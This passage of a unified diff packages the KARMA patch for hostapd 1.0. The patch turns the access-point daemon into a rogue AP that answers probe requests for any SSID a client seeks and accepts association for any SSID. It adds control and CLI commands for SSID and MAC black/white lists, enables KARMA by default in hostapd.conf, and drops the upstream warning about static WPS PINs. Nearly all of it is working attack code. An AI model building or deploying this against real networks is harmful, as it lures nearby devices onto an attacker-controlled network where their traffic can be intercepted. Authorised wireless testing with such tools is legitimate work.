++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE STATUS QUERY");
++ return hapd->iconf->enable_karma;
++}
++static int hostapd_ctrl_iface_karma_del_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DEL SSID %s", ssid);
++
++ karma_ssid_t *karma_ssid;
++ karma_ssid_t *previous_ssid;
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ karma_ssid = hapd->iconf->karma_list;
++ previous_ssid = NULL;
++
++ while (karma_ssid != NULL) {
++// wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ssid %s against %s", karma_ssid->ssid, ssid);
++
++ if (strncmp(karma_ssid->ssid, ssid, karma_ssid->length) == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, deleting and returning early");
++ if (previous_ssid == NULL) {
++ hapd->iconf->karma_list = karma_ssid->next;
++ } else {
++ previous_ssid->next = karma_ssid->next;
++ }
++ os_free (karma_ssid);
++ return 0;
++ }
++ previous_ssid = karma_ssid;
++ karma_ssid = karma_ssid->next;
++ }
++ wpa_printf(MSG_DEBUG, "KARMA SCTRL_IFACE No match found");
++ return 0;
++}
++// Used in the hostapd_ctrl_iface_karma_add_mac function to sort the MAC ACL list
++static int hostapd_acl_comp(const void *a, const void *b)
++{
++ const struct mac_acl_entry *aa = a;
++ const struct mac_acl_entry *bb = b;
++ return os_memcmp(aa->addr, bb->addr, sizeof(macaddr));
++}
++
++static int hostapd_ctrl_iface_karma_add_mac (struct hostapd_data *hapd,
++ const char *mac, int black) {
++
++ u8 addr[ETH_ALEN];
++ struct mac_acl_entry *newacl;
++ struct hostapd_bss_config *bss;
++ char buf[128];
++ struct mac_acl_entry **acl;
++ int *num;
++ // for now we don't care about VLANs so just hardcoding 0
++ int vlan_id = 0;
++
++ if (hwaddr_aton(mac, addr)) {
++ wpa_printf(MSG_ERROR, "Invalid MAC address '%s'", buf);
++ return -1;
++ }
++
++ bss = hapd->iconf->last_bss;
++ if (black) {
++ hostapd_ctrl_iface_deauthenticate(hapd, buf);
++ num = &bss->num_deny_mac;
++ acl = &bss->deny_mac;
++ } else {
++ num = &bss->num_accept_mac;
++ acl = &bss->accept_mac;
++ }
++
++ newacl = os_realloc(*acl, (*num + 1) * sizeof(**acl));
++ if (newacl == NULL) {
++ wpa_printf(MSG_ERROR, "MAC list reallocation failed");
++ return -1;
++ }
++
++ *acl = newacl;
++ os_memcpy((*acl)[*num].addr, addr, ETH_ALEN);
++ (*acl)[*num].vlan_id = vlan_id;
++ (*num)++;
++
++ qsort(*acl, *num, sizeof(**acl), hostapd_acl_comp);
++
++ //num = &bss->num_deny_mac;
++ wpa_printf(MSG_DEBUG, "There are now %i MAC addresses in the list", *num);
++
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_add_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ADD SSID %s", ssid);
++
++ karma_ssid_t *karma_ssid;
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ karma_ssid = os_malloc (sizeof (karma_ssid_t));
++ karma_ssid->length = strlen(ssid);
++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++ os_memcpy(karma_ssid->ssid, ssid, strlen(ssid) + 1);
++ karma_ssid->next = hapd->iconf->karma_list;
++ hapd->iconf->karma_list = karma_ssid;
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_change_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE CHANGE SSID %s", ssid);
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ hapd->conf->ssid.ssid_len = strlen(ssid);
++ // Not sure if the +1 is needed here or not
++ os_memcpy(hapd->conf->ssid.ssid, ssid, strlen(ssid) + 1);
++ ieee802_11_set_beacon(hapd);
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA Default SSID Changed");
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_black_white (struct hostapd_data *hapd,
++ int status)
++{
++ // 0 = white
++ if (status == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE White List");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Black List");
++ }
++ hapd->iconf->karma_black_white = status;
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE list passed in %i value %i", status, hapd->iconf->karma_black_white );
++
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_enable_disable (struct hostapd_data *hapd,
++ int status)
++{
++ if (status) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ENABLED");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DISABLED");
++ }
++ hapd->iconf->enable_karma = status;
++
++ return 0;
++}
++
++// KARMA END
+
+ static int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd,
+ const char *txtaddr)
+@@ -942,6 +1107,80 @@
+ } else if (os_strncmp(buf, "GET ", 4) == 0) {
+ reply_len = hostapd_ctrl_iface_get(hapd, buf + 4, reply,
+ reply_size);
++// KARMA
++ } else if (os_strcmp(buf, "KARMA_BLACK_WHITE") == 0) {
++ if (hostapd_ctrl_iface_karma_get_black_white(hapd)) {
++ os_memcpy(reply, "BLACK\n", 6);
++ reply_len = 6;
++ } else {
++ os_memcpy(reply, "WHITE\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strcmp(buf, "KARMA_STATE") == 0) {
++ if (hostapd_ctrl_iface_karma_get_state(hapd)) {
++ os_memcpy(reply, "ENABLED\n", 8);
++ reply_len = 8;
++ } else {
++ os_memcpy(reply, "DISABLED\n", 9);
++ reply_len = 9;
++ }
++ } else if (os_strncmp(buf, "KARMA_DEL_SSID ", 15) == 0) {
++ if (hostapd_ctrl_iface_karma_del_ssid (hapd, buf + 15)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "DELETED\n", 8);
++ reply_len = 8;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_SSID ", 15) == 0) {
++ if (hostapd_ctrl_iface_karma_add_ssid (hapd, buf + 15)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_WHITE_MAC ", 20) == 0) {
++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 0)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_BLACK_MAC ", 20) == 0) {
++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 1)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strcmp(buf, "KARMA_GET_SSID") == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE GET SSID");
++ size_t len;
++
++ // +2 for the new line and the null byte terminator
++ len = hapd->conf->ssid.ssid_len + 2;
++ os_snprintf(reply, len, "%s\n", hapd->conf->ssid.ssid);
++ reply_len = len;
++
++ } else if (os_strncmp(buf, "KARMA_CHANGE_SSID ", 18) == 0) {
++ if (hostapd_ctrl_iface_karma_change_ssid (hapd, buf + 18)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "CHANGED\n", 8);
++ reply_len = 8;
++ }
++ } else if (os_strcmp(buf, "KARMA_WHITE") == 0) {
++ if (hostapd_ctrl_iface_karma_black_white(hapd, 0))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_BLACK") == 0) {
++ if (hostapd_ctrl_iface_karma_black_white(hapd, 1))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_DISABLE") == 0) {
++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 0))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_ENABLE") == 0) {
++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 1))
++ reply_len = -1;
++// END KARMA
+ } else {
+ os_memcpy(reply, "UNKNOWN COMMAND\n", 16);
+ reply_len = 16;
+diff -Nur hostapd-1.0/hostapd/hostapd_cli.c hostapd-1.0-karma/hostapd/hostapd_cli.c
+--- hostapd-1.0/hostapd/hostapd_cli.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd_cli.c 2012-08-06 14:34:58.000000000 +0100
+@@ -21,6 +21,9 @@
+ #include "utils/edit.h"
+ #include "common/version.h"
+
++// Added this here as it is in an include file that isn't normally included
++// by the cli
++#define HOSTAPD_MAX_SSID_LEN 32
+
+ static const char *hostapd_cli_version =
+ "hostapd_cli v" VERSION_STR "\n"
+@@ -81,31 +84,44 @@
+
+ static const char *commands_help =
+ "Commands:\n"
+-" mib get MIB variables (dot1x, dot11, radius)\n"
+-" sta <addr> get MIB variables for one station\n"
+-" all_sta get MIB variables for all stations\n"
+-" new_sta <addr> add a new station\n"
++" mib get MIB variables (dot1x, dot11, radius)\n"
++" sta <addr> get MIB variables for one station\n"
++" all_sta get MIB variables for all stations\n"
++" new_sta <addr> add a new station\n"
+ " deauthenticate <addr> deauthenticate a station\n"
+-" disassociate <addr> disassociate a station\n"
++" disassociate <addr> disassociate a station\n"
+ #ifdef CONFIG_IEEE80211W
+-" sa_query <addr> send SA Query to a station\n"
++" sa_query <addr> send SA Query to a station\n"
+ #endif /* CONFIG_IEEE80211W */
+ #ifdef CONFIG_WPS
+ " wps_pin <uuid> <pin> [timeout] [addr] add WPS Enrollee PIN\n"
+-" wps_check_pin <PIN> verify PIN checksum\n"
+-" wps_pbc indicate button pushed to initiate PBC\n"
++" wps_check_pin <PIN> verify PIN checksum\n"
++" wps_pbc indicate button pushed to initiate PBC\n"
+ #ifdef CONFIG_WPS_OOB
+ " wps_oob <type> <path> <method> use WPS with out-of-band (UFD)\n"
+ #endif /* CONFIG_WPS_OOB */
+ " wps_ap_pin <cmd> [params..] enable/disable AP PIN\n"
+ " wps_config <SSID> <auth> <encr> <key> configure AP\n"
+ #endif /* CONFIG_WPS */
+-" get_config show current configuration\n"
+-" help show this usage help\n"
+-" interface [ifname] show interfaces/select interface\n"
+-" level <debug level> change debug level\n"
+-" license show full hostapd_cli license\n"
+-" quit exit hostapd_cli\n";
++" get_config show current configuration\n"
++" help show this usage help\n"
++" interface [ifname] show interfaces/select interface\n"
++" level <debug level> change debug level\n"
++" license show full hostapd_cli license\n"
++" ping send a ping, get a pong\n"
++" karma_change_ssid change the default SSID for when Karma is off\n"
++" karma_get_ssid get the default SSID for when Karma is off\n"
++" karma_enable enable Karma\n"
++" karma_disable disable Karma\n"
++" karma_black blacklist Karma\n"
++" karma_white whitelist Karma\n"
++" karma_get_black_white get the black/whitelist state of Karma\n"
++" karma_add_ssid add an SSID to the black/white list\n"
++" karma_del_ssid delete an SSID from the black/white list\n"
++" karma_get_state get the state of Karma\n"
++" karma_add_black_mac add a MAC to the black list\n"
++" karma_add_white_mac add a MAC to the white list\n"
++" quit exit hostapd_cli\n";
+
+ static struct wpa_ctrl *ctrl_conn;
+ static int hostapd_cli_quit = 0;
+@@ -343,6 +359,129 @@
+ return wpa_ctrl_command(ctrl, buf);
+ }
+
++// KARMA
++
++static int hostapd_cli_cmd_karma_del_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'delete Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_DEL_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_change_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of SSID is 32 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'change Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_CHANGE_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++static int hostapd_cli_cmd_karma_get_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_GET_SSID");
++}
++static int hostapd_cli_cmd_karma_add_white_mac(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of MAC is 17 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'add white MAC' command - exactly one "
++ "argument, MAC, is required.\n");
++ return -1;
++ }
++ // Can't find a define for the length of a MAC address as a string
++ // ETH_ALEN is the number of individual bytes
++ if (strlen(argv[0]) != 17) {
++ printf("The MAC should be in the format 00:11:22:33:44:55\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_WHITE_MAC %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_black_mac(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of MAC is 17 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'add black MAC' command - exactly one "
++ "argument, MAC, is required.\n");
++ return -1;
++ }
++ // Can't find a define for the length of a MAC address as a string
++ // ETH_ALEN is the number of individual bytes
++ if (strlen(argv[0]) != 17) {
++ printf("The MAC should be in the format 00:11:22:33:44:55\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_BLACK_MAC %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of SSID is 32 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'added Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++// These should be one function with a parameter
++
++static int hostapd_cli_cmd_karma_disable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_DISABLE");
++}
++static int hostapd_cli_cmd_karma_black(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_BLACK");
++}
++static int hostapd_cli_cmd_karma_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_WHITE");
++}
++static int hostapd_cli_cmd_karma_get_black_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_BLACK_WHITE");
++}
++static int hostapd_cli_cmd_karma_enable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_ENABLE");
++}
++static int hostapd_cli_cmd_karma_get_state(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_STATE");
++}
++// END KARMA
++
+
+ #ifdef CONFIG_IEEE80211W
+ static int hostapd_cli_cmd_sa_query(struct wpa_ctrl *ctrl, int argc,
+@@ -757,6 +896,22 @@
+ { "quit", hostapd_cli_cmd_quit },
+ { "set", hostapd_cli_cmd_set },
+ { "get", hostapd_cli_cmd_get },
++// KARMA
++// Because I always type ? first
++ { "?", hostapd_cli_cmd_help },
++ { "karma_del_ssid", hostapd_cli_cmd_karma_del_ssid},
++ { "karma_add_ssid", hostapd_cli_cmd_karma_add_ssid},
++ { "karma_add_black_mac", hostapd_cli_cmd_karma_add_black_mac},
++ { "karma_add_white_mac", hostapd_cli_cmd_karma_add_white_mac},
++ { "karma_change_ssid", hostapd_cli_cmd_karma_change_ssid},
++ { "karma_get_ssid", hostapd_cli_cmd_karma_get_ssid},
++ { "karma_get_state", hostapd_cli_cmd_karma_get_state},
++ { "karma_disable", hostapd_cli_cmd_karma_disable},
++ { "karma_enable", hostapd_cli_cmd_karma_enable},
++ { "karma_white", hostapd_cli_cmd_karma_white},
++ { "karma_black", hostapd_cli_cmd_karma_black},
++ { "karma_get_black_white", hostapd_cli_cmd_karma_get_black_white},
++// END KARMA
+ { NULL, NULL }
+ };
+
+diff -Nur hostapd-1.0/hostapd/hostapd.conf hostapd-1.0-karma/hostapd/hostapd.conf
+--- hostapd-1.0/hostapd/hostapd.conf 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd.conf 2012-08-06 17:06:46.000000000 +0100
+@@ -1,3 +1,12 @@
++# 0 = disabled
++# 1 = enabled
++enable_karma=1
++
++# 0 = white
++# 1 = black
++karma_black_white=1
++#karma_ssid_file=/etc/hostapd_karma_ssid
++
+ ##### hostapd configuration file ##############################################
+ # Empty lines and lines starting with # are ignored
+
+@@ -47,9 +56,9 @@
+ # 4 = warning
+ #
+ logger_syslog=-1
+-logger_syslog_level=2
++logger_syslog_level=0
+ logger_stdout=-1
+-logger_stdout_level=2
++logger_stdout_level=0
+
+ # Dump file for state information (on SIGUSR1)
+ dump_file=/tmp/hostapd.dump
+@@ -939,13 +948,9 @@
+ # in the AP).
+ #pbc_in_m1=1
+
+-# Static access point PIN for initial configuration and adding Registrars
++# Access point PIN for initial configuration and adding Registrars
+ # If not set, hostapd will not allow external WPS Registrars to control the
+-# access point. The AP PIN can also be set at runtime with hostapd_cli
+-# wps_ap_pin command. Use of temporary (enabled by user action) and random
+-# AP PIN is much more secure than configuring a static AP PIN here. As such,
+-# use of the ap_pin parameter is not recommended if the AP device has means for
+-# displaying a random PIN.
++# access point.
+ #ap_pin=12345670
+
+ # Skip building of automatic WPS credential
+@@ -1117,8 +1122,13 @@
+ # as the defaults for the following BSSes. However, it is recommended that all
+ # BSSes include explicit configuration of all relevant configuration items.
+ #
+-#bss=wlan0_0
++#bss=wlan10
+ #ssid=test2
++#bssid=02:21:91:01:11:31
++#
++#bss=wlan11
++#ssid=test3
++#bssid=02:21:91:01:11:32
+ # most of the above items can be used here (apart from radio interface specific
+ # items, like channel)
+
+diff -Nur hostapd-1.0/hostapd/main.c hostapd-1.0-karma/hostapd/main.c
+--- hostapd-1.0/hostapd/main.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/main.c 2012-08-06 16:53:56.000000000 +0100
+@@ -512,7 +512,8 @@
+ "User space daemon for IEEE 802.11 AP management,\n"
+ "IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
+ "Copyright (c) 2002-2012, Jouni Malinen <j@w1.fi> "
+- "and contributors\n");
++ "and contributors\n"
++ "Karma patches by Robin Wood - robin@digininja.org\n");
+ }
+
+
+diff -Nur hostapd-1.0/src/ap/ap_config.h hostapd-1.0-karma/src/ap/ap_config.h
+--- hostapd-1.0/src/ap/ap_config.h 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ap_config.h 2012-08-06 12:20:55.000000000 +0100
+@@ -364,6 +364,19 @@
+ };
+
+
++/*
++* KARMA STUFF
++*
++* A structure to hold the black/white list
++*
++*/
++typedef struct karma_ssid{
++ int length;
++ char *ssid;
++ struct karma_ssid *next;
++} karma_ssid_t;
++// END KARMA
++
+ /**
+ * struct hostapd_config - Per-radio interface configuration
+ */
+@@ -371,6 +384,14 @@
+ struct hostapd_bss_config *bss, *last_bss;
+ size_t num_bss;
+
++ // KARMA
++ int enable_karma;
++ // 0 = white
++ int karma_black_white; /* KARMA black or white list*/
++ karma_ssid_t *karma_list;
++
++ // KARMA END
++
+ u16 beacon_int;
+ int rts_threshold;
+ int fragm_threshold;
+diff -Nur hostapd-1.0/src/ap/beacon.c hostapd-1.0-karma/src/ap/beacon.c
+--- hostapd-1.0/src/ap/beacon.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/beacon.c 2012-08-06 17:01:34.000000000 +0100
+@@ -198,6 +198,11 @@
+ struct sta_info *sta = NULL;
+ size_t buflen;
+ size_t i;
++ // KARMA
++ karma_ssid_t *karma_ssid;
++ int found;
++ int free_ssid = 0;
++ // END KARMA
+
+ ie = mgmt->u.probe_req.variable;
+ if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req))
+@@ -274,34 +279,93 @@
+ }
+ #endif /* CONFIG_P2P */
+
+- if (elems.ssid_len == 0 ||
+- (elems.ssid_len == hapd->conf->ssid.ssid_len &&
+- os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
+- 0)) {
+- ssid = hapd->conf->ssid.ssid;
+- ssid_len = hapd->conf->ssid.ssid_len;
+- if (sta)
+- sta->ssid_probe = &hapd->conf->ssid;
+- }
+
+- if (!ssid) {
+- if (!(mgmt->da[0] & 0x01)) {
++ // KARMA
++ if (hapd->iconf->enable_karma) {
++ wpa_printf(MSG_MSGDUMP, "KARMA CTRL_IFACE Karam is enabled for handling probe request\n");
++ // Max length for SSID is 32 chars
++ if (elems.ssid_len > 0 && elems.ssid_len <= 32) {
++
++ char myssid_txt[33];
++ ieee802_11_print_ssid(myssid_txt, elems.ssid, elems.ssid_len);
++
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Requested ESSID is %s", myssid_txt);
++
++ karma_ssid = hapd->iconf->karma_list;
++
++ found = 0;
++
++ while (karma_ssid != NULL) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ESSID %s against %s", karma_ssid->ssid, myssid_txt);
++
++ if (strlen(myssid_txt) == karma_ssid->length && strncmp(karma_ssid->ssid, myssid_txt, karma_ssid->length) == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, leaving loop");
++ found = 1;
++ break;
++ }
++ karma_ssid = karma_ssid->next;
++ }
++
++
++ if (hapd->iconf->karma_black_white == 0 && found == 0) {
++ // white list
++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID not found in white list mode so not accepting probe");
++ return;
++ }
++ if (hapd->iconf->karma_black_white == 1 && found == 1) {
++ // black list
++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID found in black list mode so not accepting the probe");
++ return;
++ }
++
++ ssid = os_malloc(elems.ssid_len + 1);
++ free_ssid = 1;
++
++ memcpy (ssid, elems.ssid, elems.ssid_len + 1);
++ ssid_len = elems.ssid_len;
++ if (sta)
++ sta->ssid_probe = &hapd->conf->ssid;
++ }
++
++ if (elems.ssid_len != 0) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, elems.ssid,
+- elems.ssid_len);
+- wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+- " for foreign SSID '%s' (DA " MACSTR ")",
+- MAC2STR(mgmt->sa), ssid_txt,
+- MAC2STR(mgmt->da));
++ elems.ssid_len);
++ wpa_printf(MSG_MSGDUMP, "KARMA: Probe Request from " MACSTR
++ " for SSID '%s'",
++ MAC2STR(mgmt->sa), ssid_txt);
++ }
++ } else {
++ wpa_printf(MSG_MSGDUMP, "KARMA is disabled when handling probe request\n");
++ if (elems.ssid_len == 0 ||
++ (elems.ssid_len == hapd->conf->ssid.ssid_len &&
++ os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
++ 0)) {
++ ssid = hapd->conf->ssid.ssid;
++ ssid_len = hapd->conf->ssid.ssid_len;
++ if (sta)
++ sta->ssid_probe = &hapd->conf->ssid;
++ }
++
++ if (!ssid) {
++ if (!(mgmt->da[0] & 0x01)) {
++ char ssid_txt[33];
++ ieee802_11_print_ssid(ssid_txt, elems.ssid,
++ elems.ssid_len);
++ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
++ " for foreign SSID '%s'",
++ MAC2STR(mgmt->sa), ssid_txt);
++ }
++ return;
+ }
+- return;
+ }
++ // KARMA END
+
+ #ifdef CONFIG_INTERWORKING
+ if (elems.interworking && elems.interworking_len >= 1) {
+ u8 ant = elems.interworking[0] & 0x0f;
+ if (ant != INTERWORKING_ANT_WILDCARD &&
+- ant != hapd->conf->access_network_type) {
++ ant != hapd->conf->access_network_type) {
+ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ " for mismatching ANT %u ignored",
+ MAC2STR(mgmt->sa), ant);
+@@ -310,14 +374,14 @@
+ }
+
+ if (elems.interworking &&
+- (elems.interworking_len == 7 || elems.interworking_len == 9)) {
++ (elems.interworking_len == 7 || elems.interworking_len == 9)) {
+ const u8 *hessid;
+ if (elems.interworking_len == 7)
+ hessid = elems.interworking + 1;
+ else
+ hessid = elems.interworking + 1 + 2;
+ if (!is_broadcast_ether_addr(hessid) &&
+- os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
++ os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
+ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ " for mismatching HESSID " MACSTR
+ " ignored",
+@@ -427,6 +491,13 @@
+ wpa_printf(MSG_EXCESSIVE, "STA " MACSTR " sent probe request for %s "
+ "SSID", MAC2STR(mgmt->sa),
+ elems.ssid_len == 0 ? "broadcast" : "our");
++
++ // KARMA
++ if (free_ssid) {
++// wpa_printf(MSG_MSGDUMP, "KARMA ssid malloc'd so free it\n");
++ os_free (ssid);
++ }
++ // END KARMA
+ }
+
+ #endif /* NEED_AP_MLME */
+diff -Nur hostapd-1.0/src/ap/ieee802_11.c hostapd-1.0-karma/src/ap/ieee802_11.c
+--- hostapd-1.0/src/ap/ieee802_11.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ieee802_11.c 2012-08-06 12:24:27.000000000 +0100
+@@ -520,18 +520,28 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ // KARMA
++ if (hapd->iconf->enable_karma) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+- hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+- HOSTAPD_LEVEL_INFO,
+- "Station tried to associate with unknown SSID "
+- "'%s'", ssid_txt);
+- return WLAN_STATUS_UNSPECIFIED_FAILURE;
+- }
++ wpa_printf(MSG_MSGDUMP, "KARMA: Checking SSID for start of association, pass through %s", ssid_txt);
+
+- return WLAN_STATUS_SUCCESS;
++ return WLAN_STATUS_SUCCESS;
++ } else {
++ if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ char ssid_txt[33];
++ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
++ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
++ HOSTAPD_LEVEL_INFO,
++ "Station tried to associate with unknown SSID "
++ "'%s'", ssid_txt);
++ return WLAN_STATUS_UNSPECIFIED_FAILURE;
++ }
++
++ return WLAN_STATUS_SUCCESS;
++ }
++ // KARMA END
+ }
+
+
+@@ -1523,6 +1533,21 @@
+ * step.
+ */
+ ap_sta_set_authorized(hapd, sta, 1);
++
++ // KARMA
++ // Print that it has associated and give the MAC and AP
++ // Doesn't currently work though as can't find ESSID
++ if (hapd->iconf->enable_karma) {
++ // This gives the ESSID of the AP and not the one from the probe.
++ //struct hostapd_ssid *ssid = sta->ssid;
++
++ // printf("KARMA: Successful association of " MACSTR " to ESSID '%s'\n",
++ // MAC2STR(mgmt->da), ssid->ssid);
++ printf("KARMA: Successful association of " MACSTR "\n",
++ MAC2STR(mgmt->da));
++ }
++
++ // KARMA END
+ }
+
+ if (reassoc)
+diff -Nur hostapd-1.0/src/crypto/random.c hostapd-1.0-karma/src/crypto/random.c
+--- hostapd-1.0/src/crypto/random.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/crypto/random.c 2012-08-06 12:20:55.000000000 +0100
+@@ -134,8 +134,8 @@
+ static unsigned int count = 0;
+
+ count++;
+- wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
+- count, entropy);
++ //wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
++ // count, entropy);
+ if (entropy > MIN_COLLECT_ENTROPY && (count & 0x3ff) != 0) {
+ /*
+ * No need to add more entropy at this point, so save CPU and
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma.patch b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
new file mode 100644
index 00000000..2b88965a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
@@ -0,0 +1,465 @@
+diff -urN hostapd-1.0.orig//hostapd/Makefile hostapd-1.0/hostapd/Makefile
